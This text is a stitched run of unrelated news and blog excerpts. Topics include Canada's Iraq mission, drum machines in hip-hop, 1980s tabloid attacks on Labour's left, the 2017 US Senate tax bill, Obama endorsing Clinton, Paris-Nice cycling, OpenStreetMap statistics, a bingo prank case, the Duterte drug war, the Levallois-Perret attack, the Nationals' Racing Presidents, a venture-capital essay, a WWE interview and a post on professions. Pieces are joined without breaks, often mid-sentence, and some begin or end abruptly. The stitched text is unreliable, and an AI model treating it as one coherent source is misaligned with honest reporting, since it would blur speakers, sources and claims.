against Moammar Gadhafi left Libya in tatters and encouraged the growth of terror groups across North Africa. In this war, according to the United Nations Human Rights Office, ISIS fighters may have committed war crimes and genocide in Iraq. But the UN agency also found that Iraqi forces battling ISIS may have engaged in extrajudicial killings and torture. Fifth, once in this war, how do we get out? Former prime minister Jean Chrétien has warned against embarking on the slippery slope. He should know. His 2001 decision to send Canadian troops to Afghanistan started us on 12 years of war there. In Iraq, mission creep has already begun. Ottawa initially promised that Canadian military advisers sent to Iraq would neither accompany Kurdish soldiers to the front lines nor engage in combat. Now the advisers do both. It is worth remembering that the Afghan War was initially pitched as a battle against a brutal and barbarian enemy. Now the U.S. is now trying to facilitate a negotiated peace deal with those same brutal barbarians. Is this foreshadowing? In 14 years, will we be talking peace with the Islamic State? Thomas Walkom's column appears Wednesday, Thursday and Saturday.In the early 1990s, Boston producer Joe Mansfield made hits for rappers Ed O.G. & Da Bulldogs. His instrument? The Akai ASQ10 sequencer.
As his discography advanced, he began accumulating machines that manipulated and enhanced his sounds. "I know I've got too many of these things," he says. "I've always loved them so much that I've found more space."
Now, the co-founder of hip-hop distributor Traffic Entertainment and boutique label Get On Down has a coffee-table book, Beat Box: A Drum Machine Obsession.
Continue Reading
Chronicling 50 years of the machines with over 200 glossy photos, it discusses the instrument's impact across genres. We talked with Mansfield about 10 particular machines.
Gary Land
Maestro Rhythm'n Sound For Guitar (G-2) (1968)
Used on: Beastie Boys' Check Your Head (1992)
Mansfield says: "I'm sure [The Beastie Boys and producer Mario C.] first became aware of that Maestro when they saw Eddie Harris' [Plug Me In] album, which featured it on the cover; they also rap about Eddie. The machine is also like an effects unit, in addition to the drum sounds. The sounds are triggered by an incoming signal. It's a type of machine that's for sound-shaping, after playing with the EQ for a cool sound."
File Photo
Univox SR-95 (1973)
Used on: Beck's "Deadweight" (2008)
"I wouldn't consider this a hip-hop machine; it definitely works better in soul, rock, or early electronic music. It's cool sounding, with some of the percussion sounds being interesting. For a sound like Beck's, it was perfect alternative rock."
File Photo
Roland CompuRhythm CR-78 (1978)
Used on: Madvillain's Madvillainy (2004)
"It's in the line of the Roland TR series, so it has the start of the sound which will end up giving you the 808. You can hear the similarities in the snare and the kick in that thing. What made that machine kind of stand out when it was released was you had a bit of programmability on it. It didn't only have the preset rhythms. You could craft and create your own custom drum-tracks with it."
File Photo
Roland TR-808 (1980)
Used on: The Egyptian Lover's One Track Mind (1986)
"It was inexpensive compared to other machines of the time, so the price-point would bring in a lot of producers and musicians. The sound is distinctive. It's not real synthesized sound -- if you're thinking about any electronic machine, the sound is perfect. It defines the genre. If you were trying to do music that sounded futuristic or electric in nature, that machine would sound [ideal]."
Linn Design
LinnDrum (1982)
Used on: Beverly Hills Cop soundtrack (1985)
"The thing about the LinnDrum and its predecessor, the LM-1, they were made for professional musicians. That sound, early on, was only going to be heard on the top records. The price of the machine made them have this great sound. They were great across any type of genre. Still today, they sound great."
File Photo
Korg Rhythm KR-55B (1982)
Used on: Dam-Funk's Toeachizown (2009)
"Korg [added the 55B], doubling the number of rhythm patterns from 96 to an impressive 192. The interesting part of this unit is the'swing beat' control, which allows for each groove pattern to be modified to varying degrees. The original machines always sound warmer and thicker than the [contemporary] software."
File Photo
Linn 9000 (1984)
Used on: Stacey Q's Better Than Heaven (1986)
"This [$5,000] machine continued to push technology further by incorporating 32-track MIDI sequencing, five seconds of sample memory, and 18 drum sounds triggered by touch-sensitive pads."
File Photo
E-mu SP-12 (1986)
Used on: Above The Law's Livin' Like Hustlers (1990), N.W.A.'s Niggaz4Life (1991)
"The SP-12 and later the SP-1200 came with some really cool drums, but the ability to sample made all the difference, especially for hip-hop producers. You had a box, at a somewhat reasonable price, that could sample anything you wanted. You could also mix it with some of the internal drums, and sort of have your complete production facility in this box. You could create easily and simply. It brought down a lot of barriers from people who were just getting started to get all their ideas started at home, with the gritty sound that the SP-12 would give you."
File Photo
Akai MPC60 (1988)
Used on: Jurassic 5's self-titled EP (1998)
"The MPC-60 was designed by Roger Linn. The best thing about the 60 is a production studio in a box, at an affordable price. It had an amazing, easy to use sequencer that was very intuitive. With the multiple MIDI inputs, it made it a lot easier for anybody putting together any type of track. It worked like a multi-track tape-deck."
Forat
Akai MPC3000 (1994)
Used on: DJ Quik's Safe + Sound (1995)
"It was an extension of the [Akai MPC 60]. The sequencer was monumental. That was the thing that made it monumental. That's what made it [superior] to the [E-mu SP 1200]. The MPC was miles ahead, as far as use and intuitiveness. The 1200 drums were always grittier, but you could achieve a lot with the MPC."
Beat Box: A Drum Machine Obsession is now available The E-mu and Akai models do not appear in the book.
The author would also like to thank Big Hutch, Cut Chemist, and DJ Nu-Mark for help with research for this story.
Like us on Facebook at LAWeeklyMusic.
Follow @laweeklymusic
Top 10 Rap Battles in History
Top 60 Worst Lil Wayne Lines on Tha Carter IV
Five Rappers That Fans Love and Critics Can't Stand
The 20 Worst Hipster BandsGiven that the UK Labour Party has just elected a new leader that the media continues to describe as ‘Left-wing’, it seems timely to re-visit the media coverage of the Labour Party’s ‘Left wing’ back in the 1980s.
In those days the tabloid media summed up their disdain for the Left by the creation and repeated use of the label ‘Loony Left’. Prominent members of this group were given their own labels such as “Red Ken” (Ken Livingstone, Leader of the Greater London Council), “Barmy Bernie” (Bernie Grant, Leader of Haringey Council) and “Red Pete, the Gay Rights Campaigner” (Peter Tatchell, Labour candidate in the 1983 Bermondsey by-election).
One of the reasons the ‘Loony Left’ were despised was because they openly supported LGBT rights. The Sunday Express cartoon above demonstrates this particularly clearly. Unsurprisingly, The Sun newspaper was a major cheerleader for the homophobia squad. In 1984, when Conservative-controlled Rugby Council declared that they would actively discriminate against queer people, The Sun called them “this brave little town” and urged everyone to follow their example.
In 1986, when Manchester Chief Constable James Anderton declared that people with AIDS were, “swimming around in a cesspool of their own making”, The Sun proclaimed:
“What Britain needs is more men like Anderton – and fewer gay terrorists holding the decent members of society to ransom.”
When Peter Tatchell stood as democratically-selected Labour candidate in the London Borough of Bermondsey, the media had a field day. According to the Daily Express, Tatchell’s candidacy sounded the death knell for the leadership of Labour Leader Michael Foot.
Interestingly, Michael Foot was considered to be a ‘Left-wing Labour leader’ at that time.There are no more votes in the Senate tonight, leaving the next chapter in the drama to unfold on Friday.
Here's a recap of what happened and where this leaves us:
The day started off in a promising fashion for the $1.4 trillion tax legislation after Sen. John McCain (R., Ariz.), a holdout Republican, said he would support the measure. That narrowed the number of Republican senators who remained uncommitted to the bill, leaving Republican leaders with an easier pathway to corral the minimum 50 votes needed to clear the legislation. No Democrats are expected to support the legislation, and Republicans control 52 seats.
The action slowed to a crawl during the day. Republicans kept insisting that they were close to unveiling details of a plan to trigger automatic tax increases if the economic growth promised by the tax plan failed to materialize. That plan was needed to satisfy Sens. James Lankford (R., Okla.), Bob Corker (R., Tenn.) and Jeff Flake (R., Ariz.), all deficit hawks worried about the potential for the tax plan to add to the deficit.
By early Thursday evening, the "trigger" plan unraveled in a dramatic fashion on the Senate floor. The cause was an unfavorable ruling from the Senate's parliamentarian, Elizabeth MacDonough, who determines what can be included in legislation to be passed with just a simple majority, rather than the 60 votes usually needed. Her decision was that the trigger plan couldn't benefit from the budget's special procedural shortcuts. In short, the plan had no path forward.
The ensuing scramble played out in the open on the Senate floor, as the entire Republican leadership surrounded Mr. Corker, who was flanked by Mr. Flake. As Senate Majority Leader Mitch McConnell (R., Ky.) folded his arms and Sen. Pat Toomey (R., Pa.) gestured, Mr. Corker did not budge. At one point, Mr. Corker could be heard saying "the problem" and "one trillion off," an apparent reference to a new Joint Committee on Taxation analysis showing that the tax plan wouldn't pay for itself but would instead leave the country with a $1 trillion-greater deficit over 10 years.
Mr. Corker had a powerful card to play. He and two other Republicans—Mr. Flake and Sen. Ron Johnson (R., Wis.)—were threatening to vote in favor a Democratic motion to send the tax legislation back to the Finance Committee to be rewritten. Just three Republican votes added to 48 Democratic votes would have been enough to carry the day and send the tax bill back to committee.
Now, Republicans are attempting to revise their tax plan. Among the ideas being discussed are changes to the corporate-tax rate, which the Senate plan would permanently reduce to 20% from 35%. One possible outcome is that the corporate rate would start at 20% and rise in stair-step increments in later years.
"It's not the most elegant of processes," Sen. Susan Collins (R., Maine) told reporters on Thursday night. "I'm focused on several issues and I feel good about the progress that I'm making, but we've still got a long ways to go."
The Senate votes next at 11 a.m. Eastern on Friday. See you all then!Media playback is unsupported on your device Media caption Hillary Clinton tweeted President Obama's endorsement video: "I don't think there's ever been someone so qualified to hold this office"
President Barack Obama has officially endorsed Hillary Clinton as the Democratic Party presidential nominee.
His endorsement came after meeting Vermont Senator Bernie Sanders who has been battling Mrs Clinton for the nomination.
Speaking in a video tweeted out by Mrs Clinton, Mr Obama said she may be the most qualified person "ever" for the role of president.
Leading liberal politician Elizabeth Warren also endorsed Mrs Clinton.
"I am ready to get in this fight and work my heart out for Hillary Clinton to become the next president of the United States," the Massachusetts senator told MSNBC, "and to make sure that Donald Trump never gets any place close to the White House."
President Obama and Mrs Clinton are set to start campaigning together soon.
"I want those of you who've been with me from the beginning of this incredible journey to be the first to know that 'I'm with Her.' I am fired up and cannot wait to get out there and campaign for Hillary," Mr Obama said in the video.
"Secretary Clinton and Senator Sanders may have been rivals during this primary, but they're both patriots who love this country and they share a vision for the America that we all believe in."
The two ran against one another for the Democratic nomination in 2008 and Mr Obama later made Mrs Clinton secretary of state.
Speaking to Reuters following the endorsement, Mrs Clinton said Mr Obama's endorsement "means the world".
"It is absolutely a joy and an honour that President Obama and I, over the years, have gone from fierce competitors to true friends," she said.
Presumptive Republican nominee Donald Trump tweeted that Mr Obama's endorsement means he wants "four more years of Obama" and "nobody else does".
To which came a much-retweeted reply from Mrs Clinton: "Delete your account."
Analysis - Anthony Zurcher, BBC News North America reporter
Image copyright Getty Images Image caption Mr Obama has made his endorsement official
Barack Obama is now in the game. In a slickly produced video endorsement, the president has thrown his support behind Hillary Clinton's bid to keep the White House in Democratic hands.
Given the high production value of the video, the announcement had obviously been in the works for some time. In fact, astute observers have noted that Mr Obama is sporting the tie he wore on Tuesday.
Bernie Sanders has said he will continue to campaign in Washington DC, leading up to the capital city's primary next week - but expect most Democrats to close ranks quickly. The Vermont senator even struck a more conciliatory tone after a meeting at the White House, saying he looks forward to "working together" with the former secretary of state to defeat Donald Trump.
Mr Obama and Mrs Clinton will make their first joint appearance together in Wisconsin next week. Before that she's visiting Ohio and Pennsylvania.
The Democrats clearly view the general election battleground as the industrial Rust Belt states. And for the first time since 1988 there is a popular, scandal-free second-term incumbent president working hard on the campaign trail to preserve his legacy.
What an Obama endorsement will mean for HillaryParis-Nice finishes on the Col d’Eze today, and it was a climb that Irish riders won on from 1981 to 1989 in the Race to the Sun, with Sean Kelly taking five wins to Stephen Roche’s four. We look back at Kelly’s first victory on the climb in 1982.
Following on from Stephen Roche’s overall win in the 1981 Paris-Nice, Sean Kelly would make it two Irish wins in a row when he took overall victory in 1982. However, going into the last stage which was a time-trial up Col d’Eze, it didn’t look likely to many that he would win.
Kelly had taken over the white jersey of leader early in the race, winning stages in Saint Etienne and La Seyne Sur Mer. However, on the second last day, he crashed and lost the jersey to Gilbert Duclos-Lassalle of the Peugeot team.
On the final day, the riders faced a 60 kilometre stage from Mandelieu to Nice which Kelly won in a sprint finish, while Duclos-Lassalle held onto his lead by five seconds from Kelly.
The Peugeot team had been confident that Kelly would struggle in the afternoon on the Col d’Eze, as he still had the reputation of just being a sprinter who couldn’t time trial. However, Roche thought he had a chance of overcoming his team mate Duclos-Lassalle’s lead. “Why not Kelly? He is the best rider in the peloton at the moment, and nobody can say what he can’t do,” said Roche.
Kelly warmed up on the rollers in a café beforehand, and his intention was to go flat out for the eleven kilometre test. Pushing him on was his Directeur Sportuf, Jean de Gribaldy, who would scream at Kelly if he dared to sit down in the saddle.
Kelly stormed up the climb overlooking Nice to win the stage and beat Duclos-Lassalle by 45 seconds to win overall for the first of seven consecutive victories. Roche meanwhile finished sixth overall, and won the best young rider’s classification.
Here’s coverage from French TV of the final day’s racing.I’ve updated the statistics that I regularly produce from our changeset dump, see stats page on wiki.openstreetmap.org, to the end of 2014 numbers.
The well known trends continue with growth in every category with a total of 472’925 contributors since 2005.
Looking back on the 10th anniversary celebrations in 2014 it is important to note that was celebrating the birth of the idea, not the start of success.
Success slowly started in 2007 with the project taking off in 2008, for a Web 2.0 undertaking prior to that it was a flop. Perhaps even better than a graph Martijn van Exel’s “then and now” map comparision with 2007 illustrated just how much of nothing OSM was back then (unluckily the comparision is no longer available).
It is diffcult to nail down why the sudden change in course happened, likely it was more the pieces of a puzzle falling in place than just one cause. However if asked to point to a single person and event, I would clearly point to Richard Fairhurst and the Potlatch editor being the pivotal person and thing that changed the course of history for OSM.Man, 18, yelled "bingo" in a bingo hall when no one had won.
Story Highlights 18-year-old was cited for second-degree disorderly conduct
He could have faced up to 90 days in jail and a $250 fine
Officer, judge likened it to yelling "fire" in a crowded theater
COVINGTON, Ky. -- Yelling bingo when nobody has won can get you in trouble with the law.
A Covington, Ky., man who falsely yelled "bingo" last month, was cited for second-degree disorderly conduct.
As part of 18-year-old Austin Whaley's punishment, Kenton District Judge Douglas Grothaus recently ordered him not to say the word "bingo" for six months.
"Just like you can't run into a theater and yell 'fire' when it's not on fire, you can't run into a crowded bingo hall and yell 'bingo' when there isn't one," said Park Hills Police Sgt. Richard Webster, who cited Whaley.
On Feb. 9, Webster was working an off-duty security detail at a Covington bingo hall when Whaley entered the hall with several other youths and yelled "bingo," Webster said.
"This caused the hall to quit operating since they thought someone had won," Webster wrote on his citation. "This delayed the game by several minutes and caused alarm to patrons."
Webster said the crowd of mostly elderly women did not take kindly to Whaley's bingo call.
"At first, everybody started moaning and groaning when they thought they'd lost," Webster said. "When they realized it wasn't a real bingo, they started hooting and hollering and yelling and cussing. People take their bingo very seriously."
Had Whaley apologized for his actions, Webster said he probably would have sent him on his way with a warning. "But he refused to say he was sorry," Webster said.
"He seemed to think he could say whatever he wanted because it was a public building. I tried to explain that that's not the case. Just because it's a public building doesn't give you the right to run into a theater and yell 'fire.' You can't go into a ballpark and yell 'out,' because people could stop the game."
When Whaley appeared in court last week, the judge issued this order: "Do not say the word 'bingo' for six months."
The youthful defendant could have faced up to 90 days in a jail and a $250 fine on the misdemeanor charge. So long as Whaley, who had no prior criminal record, doesn't get into any more trouble within six months, though, the charge will be dismissed.
"He was remorseful in court," Grothaus said. "He was obviously a good kid who hadn't been in trouble before. With all the other things that happen in the court system and the families you're dealing with, you've got to keep a sense of humor."
Read or Share this story: http://usat.ly/16FFCaNAgnes Callamard, UN special rapporteur on extra-judicial, summary or arbitrary executions, arrives at forum on drug-related ssues pic.twitter.com/zayWjuFCZ0 — Christian Esguerra (@IanEsguerra) May 5, 2017
MANILA – A war on drugs approach will not work and will only compound the problem, a United Nations investigator who has repeatedly criticized President Rodrigo Duterte’s anti-narcotics drive said Friday.
A joint commitment forged by world leaders at the UN before Duterte assumed office last year called for a “rights-based” and “comprehensive” approach to the drug problem, said Special Rapporteur on extra-judicial summary or arbitrary executions Agnes Callamard.
“In April 2016, the general assembly of the world’s governments recognized explicitly that the war on drugs, be it community-based, national or global, the war on drugs does not work,” Callamard told a forum organized by the Free Legal Assistant Group.
“Badly thought out, ill-conceived drug policies not only fail to address substantively the problem, they add more problems,” she said.
Callamard cited extrajudicial and gang-related killings, “breakdown” of the rule of law, vigilante crimes, torture, ill treatment of prisoners, sexual violence, prolonged detention, detention in rehabilitation centers without trial and non-consensual experimental treatment.
“Further, badly thought out, ill-conceived policies, foster a regime of impunity, infecting the world justice sector, invigorating the rule of violence rather than the rule of law, eroding public trust in public institutions, breeding fear and leading people to despair,” she said.
The government had invited Callamard to the Philippines, but only if she agrees to terms set by Duterte, who had dared her to name her sources on alleged extra-judicial killings.
The UN representative was in Manila on Friday specifically for the FLAG forum, where she was jokingly introduced as a “non-BFF” of the Philippines.
Callamard rued a growing disregard for human rights around the world, saying, “We are in the midst of a disruption in norms and values.”
She said it was “profoundly disturbing” that alleged rights abuses “are occurring at the hands of authorities that should and can know better.”
Disregard for human rights “pushes open the door to an abyss, a void to which humanity has thrown itself before with awful consequences,” she said.
“Of course, one cannot deny the humanity of some people without losing humanity for all people,” she said.Wisconsin rail exec charged with illegal campaign donations
Now why the hell don’t they question the Democrats, and all the secret donations they get from the unions? A Wisconsin railroad executive was charged with two felonies on Monday for making illegal campaign contributions to Republican Governor Scott Walker and other candidates, according to court records. The head of Wisconsin & Southern Railroad, William Gardner, was charged with making excessive contributions and for unlawful donations. He has an initial court appearance scheduled May 2.
Now Gardner has acknowledged using company money to reimburse employees for making contributions to Walker and other candidates ahead of last year’s election. Walker returned $43,000 in contributions after the revelation.
The Government Accountability Board and Milwaukee County District Attorney’s office have scheduled a Monday afternoon news conference to discuss the case. Reuters
AdvertisementsSuspect in attack in Levallois-Perret on Wednesday named as Hamou Bachir Benlatreche, an Algerian national unknown to French security services
French police are waiting to interview the man suspected of ploughing a car into a group of soldiers as he recovers from wounds after being shot during his arrest.
The suspect has been named as Hamou Bachir Benlatreche, a 36-year-old Algerian national, legally resident in France and unknown to the security services. He is in a serious condition in hospital after he was shot while being apprehended on a motorway in northern France.
Benlatreche was driving the rented black BMW car used in the attack in Levallois-Perret, on the outskirts of Paris.
Detectives, who have linked the car but not the driver to the incident that left three soldiers seriously injured, have been searching his home in a north-west suburb of the French capital to establish a possible motive for the attack.
A police source told Le Figaro the suspect had a stable and legitimate job and appeared to be “perfectly unknown”. “He doesn’t appear to have been in any Islamist shadows,” a source told the paper.
A police officer told Agence France-Presse the suspect, who was shot five times after ramming a police vehicle trying to force him to stop, was still in hospital in Lille and not able to be questioned as yet.
Mohammed Benlatreche, the suspect’s uncle, said he did not recognise the photograph of his nephew with a long beard in the media, and insisted he had never shown any inclination toward or support for terrorism.
“He works hard, he gets up early to deliver things to stores. Then he was a taxi driver with Uber. It’s hardly believable it’s him they are talking about,” he said.
“I was astonished when I saw the picture on the television. I’ve never seen him with a beard. Never. He was always shaved. He attended prayers like any Muslim. You could have knocked me over,” Benlatreche told BFMTV.
He added his nephew had never shown the slightest extremist view. “Not to me, he didn’t.”
A trainee police officer was hailed as the hero of the hour on Thursday for spotting the suspect’s car as it sped north from Paris after the attack.
French police search home of man suspected of driving into soldiers Read more
The officer, named only as Laurent, aged 29, was driving to work when the black BMW roared up behind him as he joined the motorway.
“He was going so fast, I had to move over an let him go,” Laurent told French journalists. “The windscreen was shattered, the bumper was dragging on the ground and the grill was dented.”
Thinking the driver was fleeing the scene of a road accident, the police officer made a mental note of the car’s registration number.
Colleagues praised the young officer’s quick reaction, which enabled them to identify and track the suspect vehicle.
The latest attack, the sixth on France’s security services in less than two years, has brought criticism over the continuation of Operation Sentinelle, introduced following the attacks in Paris in January 2015 and expanded as part of a national state of emergency after the series of bombings and shootings in the French capital in November that year.
Between 7,000 and 10,000 soldiers along with several thousand gendarmes and police have been patrolling France since the attacks, half of them in and around Paris.
A young soldier told Le Monde that many of his colleagues had signed up to see action rather than domestic duties. “When they told us Operation Sentinelle would last for some time, there was a wave of people leaving the regiment,” he said.
Gen Jean-Pierre Bosser, chief of staff of the French army, told the country’s defence committee last month: “Our young people are signing up for action and to see the world. When they’re told their first mission will be Sentinelle at the Gare du Nord, it’s not what they dreamed of … their main reason for joining is to go to Mali or other foreign theatres of operation.”
Georges Fenech, shadow justice minister, said: “Soldiers take part in war in foreign countries. That’s their role. We need to disengage them from Operation Sentinelle.”As the Wizards and Caps wrapped up their seasons, and as the Nats embarked on a historic hot streak, we all may have missed one of the biggest stories of the month: something seems to be going on with the Nats’ Racing Presidents races. Something untoward.
In a development reminiscent of the chaotic presidential campaign of 1800 — in which Thomas Jefferson and his running mate Aaron Burr tied in the electoral college, sending matters to the Fedaralist-controlled House of Representatives amid fears of national unrest — the giant-headed Thomas Jefferson guy has yet to win a race this season.
Okay, that’s not actually very reminiscent of the presidential campaign of 1800, but it was an interesting election, and you should read about it.
Anyhow, as you know, Teddy Roosevelt once went more than 500 races without winning, from the summer of 2006 until October of 2012. In the two years since — even as William Howard Taft turned a quartet of racing leaders into a quintet — there were no lovable losers in Nats Town, except when the Phillies visited.
In 2013, all five racers won at least 11 times, according to the indispensable Let Teddy Win. In 2014, all five racers won at least 10 times, via the same site.
Well, we’re two months into the season. The Nats won’t run another Racing Presidents race until June 1. And a certain giant Tom has yet to win a single race.
“The pattern looks awful familiar,” said Scott Ableman, the marketing executive behind Let Teddy Win, arguably the most comprehensive site devoted to racing giant-headed mascots in world history. “It’s incredible to think that the Nationals would try to pull this off again, but all the evidence suggests that that’s exactly what they’re doing.”
What evidence? Well, there’s the standings. In 2013, all five presidents had won a race by May 25. In 2014, they had all won by April 17. This year, only Tom is winless, with the other presidents each having at least three wins.
But more than that, there are hijinx that seem focused on the Sage of Monticello. On May 9, Jefferson conspired to cause a massive pile-up, then sprinted toward freedom, only to be disrupted by some sort of cow creature known as Beef Nachos Libre.
On May 19, the other four presidents shoved the Father of the Declaration of Independence into a wall, and then proceeded toward the finish line without him, five become four, a party split into two classes, wolves and sheep.
Then there are the announcers who have — independently? — noticed this pattern. Nats Park PA announcer Jerome Hruska’s call of the May 9 race gave special prominence to Tom; “nothing’s going to stop him now!” Hruska roared, before the cow attack. And the MASN announcers have also played along.
“He’s not gonna win this time, either,” MASN’s Bob Carpenter said during the May 19 loss, after noting Tom’s winless season. “Number three in the back, giving up.”
“Is he the new Teddy?” F.P. Santangelo asked, giving voice to the silent fear. “Is that what we’re doing here?”
“Tom Jefferson has not won a race this year, and he almost caught Abe there,” Carpenter said after yet another loss.
“The fact that [Carpenter and Santangelo] are talking about Tom’s winless streak says that someone is probably pointing it out to them,” said Ableman, arguably the world’s most reliable Racing Presidents watcher. “The pattern’s there. The pattern’s there to say this isn’t chance; it’s conspiracy.”
The thing is, the Nats — or whoever is pulling the strings here — might not realize exactly what they’re up against. Sure, Teddy Roosevelt had his vocal fans — eventually including a powerful U.S Senator — but going after Jefferson in the shadow of the Commonwealth is like bringing barbecue to a PETA convention: lots of anger and lots of red meat will ensue.
“I’ll tell you what, if they want some fans from the Charlottesville area to come up to these games, Tom needs to start winning,” Carpenter said during that May 19 broadcast.
Ableman isn’t about to change the name of his Web site, but if duty calls, he will be there to lead the movement.
“I find it hard to believe that I would be in this position again,” he said, ” but I would absolutely get behind Tom.”
Of course, in chatting about this for some time — which, let’s be honest, should earn me at least three or four raises — Ableman and I came up with another theory. What if the Nats are just doing this to actually increase Tom’s Q rating? Because, if we’re being honest for a moment, he probably is the least beloved Racing President. Lincoln is unmistakable. Teddy is still riding the wave of his playfully unsuccessful history. Taft has panache. Washington wears No. 1 on his back, and gave the home team its first name. But Tom?
“He’s just sort of the quiet one,” Ableman noted. “And a lot of people call him George. I see that all the time: people are waiting to take pictures with him, and then they call him George.”
So — stick with me here — maybe this is a short-term stunt to create a massive media push behind Tom. (Or at least a blog post on a day when the entire world is focused on international football.) “All Racing Presidents Are Created Equal,” that kind of thing. But if it’s a season-long gimmick? Well, Racing President gimmicks are best which gimmick the least.
“I never make predictions,” Ableman said. “To me, there’s no doubt that something’s going on. Whether it will last is another story.”
In any case, eventually this too — like the chaos of 1800’s election — shall pass. And when it does, we would be wise to remember Jefferson’s words.
“As the storm is now subsiding, and the horizon becoming serene,” he once wrote “[w]e can no longer say there is nothing new under the sun. For this whole chapter in the history of man is new….The order and good sense displayed in this recovery from delusion, and in the momentous crisis which lately arose, really bespeak a strength of character in our nation which augurs well for the duration of our [Natitude].”This essay is part of The Token Handbook.
We have met the enemy, and he is us.
— Walt Kelly
My name is David Siegel. I’ve invested in three venture funds and have been an angel investor for 15 years. I believe venture capital is broken, both for LPs and entrepreneurs. While the venture-capital landscape is changing, the sales narrative remains the same: We are the smart, experienced, (generally tall, good-looking, white, male) entrepreneurs-turned-investors who can beat the market through exclusive access and careful selection of early-stage companies (“We invest in teams, not ideas”), brilliant board work, and our networks of contacts.
It’s a nice story, but that’s exactly what it is: a story. The track record of this asset class is poor. In general, venture capital funds do not outperform the public markets.They are victims of the illusion of control. After several years of study, I now believe that if there had never been a single venture capitalist (professional early-stage investor), the world would be about the same as it is today, only the logos would be different. In other words, it’s market demand that creates companies — not board meetings, brilliant plans, and road maps.
In this mini white paper, I will first argue that venture capital is truly a fool’s game and that venture investors are confusing correlation with causation. Then I’ll present a high-level description of a model that I think could work to fix this industry, and how we could get it started.
Getting Lucky
Success in new ventures is not about product-market fit (read How Brands Grow to get the evidence on that one). It’s really about getting lucky. It may look like skill, but you’re not seeing the tens of thousands of skilled entrepreneurs who fail. Most startup products for a given market are remarkably similar in functionality, but you don’t see the competitors who fail to raise funding or fail to get lucky in the market. You’re seeing the successful companies, and they have a great story to tell about how skillful they were. This is like saying The Rolling Stones and other popular music talent rose to fame because their music is so good. That has been shown to be false. The market selects. The market magnifies. The market creates the jobs. Often, the market selects randomly and for impossible-to-predict reasons, with plenty of herd behavior.
Cognitive biases like base-rate neglect affect our ability to see true cause and effect, so we think it’s about skill, when it isn’t. Looking in the rear-view mirror, timing is nothing more than luck. Looking forward, it’s a lot more difficult to tell what “good timing” is — such predictions tend to be far more wrong than right. As Jerker Denrell says:
Top performance and outcomes are often produced by things besides skill, so we shouldn’t reward them as much as we do.
Product-market fit: can you find the features that match the target customer?
Venture capitalists don’t add any value and never have. They have only sucked cash out of the system as gatekeepers, and, in aggregate, they aren’t even good at doing that.
Venture capitalists make the same classic investment mistakes most investors do:
Thinking they can pick winners ahead of time. A concentrated portfolio dials up the risk for investors |
from all over the world. It's going to be a party. It's going to be great.
On being most decorated wrestler in WWE history...
The accolades are great. Putting the work in is great. But, I still feel like there is so much more work to do. You know, it's not about me anymore, it's about the young guys of WWE and the new SuperStars... the list goes on and on. WrestleMania is safe for the next 10,20 years with the guys that we have coming up in the business right now.
On WWE's new performance center in Orlando...
I haven't had a chance to get there as often as I need to. I have my own facility in Houston. I'm trying to filter the wrestling business. You know, more and more students are trying to get it from all different perspectives. But I'll tell you the training center is something that we've needed for quite some time just so the avid fan always wonders 'How do I get into this business?' And for us to promote it! Now, we have our own form of something that you can come down and be a part of, try to get into this business. You know there are a lot of kids out there that I feel like we might be losing. We need to advertise a little more and show these guys that you can have a great career in professional wrestling, and the longevity is great as well.
On predictions for WrestleMania...
Everybody's wondering if the Ultimate Warrior is going to go in [the Hall of Fame,] that's one thing... Ultimate Warrior is probably the one guy that people have been wondering for many, many years, just like Bruno San Martino. It would be great to take his place in immortality. He deserves it. Hew was great for what he did for the time in wrestling... Back in the day, those guys really were trailblazers, they were one of the reasons that I wanted to be one of those guys.
Prediction of headliners in WrestleMania 40...
Dean Ambrose versus Dolph Ziggler
On his favorite part of WrestleMania...
The biggest event of WM for me is always going to be the main event. You know, 'Who's going to headline the main event?' 'Who's going to headline WrestleMania?!' For myself, I always that dream, that want, that need to headline WrestleMania...I got a chance to do that with Triple H, and it was an awesome, awesome feeling. To just know that one guy, a fresh, young guy hopefully, will get a chance to do that, to wonder what's in their feeling, what they're going through, because I know, I've been there, to be a HEADLINER at WrestleMania.
On how becomes a peripheral character (Diva, Manager, Ring Announcer) in the WWE World...
First and foremost, you got to go to the proper school. The proper training is first and foremost. There are a lot of rinky dink operations out there. There are a lot of so-called promoters out there. They’re trying to get money and not teach anything. And, the thing is they can't teach anything. They can't go out and work a match, and see when you walk back through that curtain and say, 'Hey good job out there, but you might want to try this.' They can't tell them that because they've never done it before. So, make sure you get trained by someone who is reputable, someone who has been in this business. A lot of great coaches, they might not have played in the game, but they were on the team, and knew what it took to get to that point...
On Houston Sports?
Huge fan.
But the SuperStars have to focus and work all the time... For 17 years I didn't watch a football game unless I was watching in that arena while lacing my boots up and getting ready to perform for my fans. WWE SuperStars, they're like doctors. They got that stethoscope on 24/7. They got the beeper like back in the day; it could go off at any time and you got to be ready. That's the life of the WWE SuperStar. These guys are the hardest workers in the world today.
Full audio of the interview can be heard here. Chris Trew is the host of "Trew 2 the Game," a weekly podcast focusing on NOLA sports. New episodes every Tuesday.
-Correction: Dolph Ziggler's named was misspelled in the original article, and it was updated at 3:55p.m. on September 29.In this post, Andrew Old and an accountant friend begin to explore what a profession is. Broadly, three requirements are listed: a professional qualification, body, and code of ethics, such that “all members of a profession will belong to a professional body and the professional qualification is awarded by this body”. One additional implied point that I have heard elsewhere is the idea that the professional body can expel members when appropriate (e.g. if the code of ethics is violated).
I’m reasonably happy with that as a definition of a profession. It intrigues me because my job is to be a researcher and software developer, and many or most practitioners in these areas are not professionals. If you’re a UK teacher reading this, you aren’t a professional either. Is this lack of professionalism a problem that needs fixing?
Professional
The idea of being a profession is to uphold minimum standards of a profession (to prevent damage to the public from bad doctors or bad engineers), to uphold the reputation of the profession, to provide a voice to the profession and to collectively advance practice. Let’s explore some of those issues and also look at the costs of being a profession.
Upholding minimum standards is clearly a good idea. Bad software can cause real harm (famous example: Therac-25) or irritation on a massive scale (e.g. the general hatred for Microsoft in the late ’90s when Windows was quite unstable). Bad research can cause harm if acted upon, and generally harms the reputation of the occupation. Every researcher that conducts a bad study without a control group, uses bad statistics or fishes for a significant result harms the cause of research. However, regulation of practitioners is typically no guarantee against bad practice, just against malpractice.
As for advancing the profession: researchers and software developers tend to be very open about their practice. The web is full of software development blogs, question and answer sites like Stack Overflow (and in days gone by, newsgroups and similar). Developers invented the web, and colonised it in the name of helping each other to program — even if that often means berating each other about how not to program. One of researchers’ primary functions is to publish their work and attend conferences. Both of these fields seem to advance their practice without needing any professional body involved.
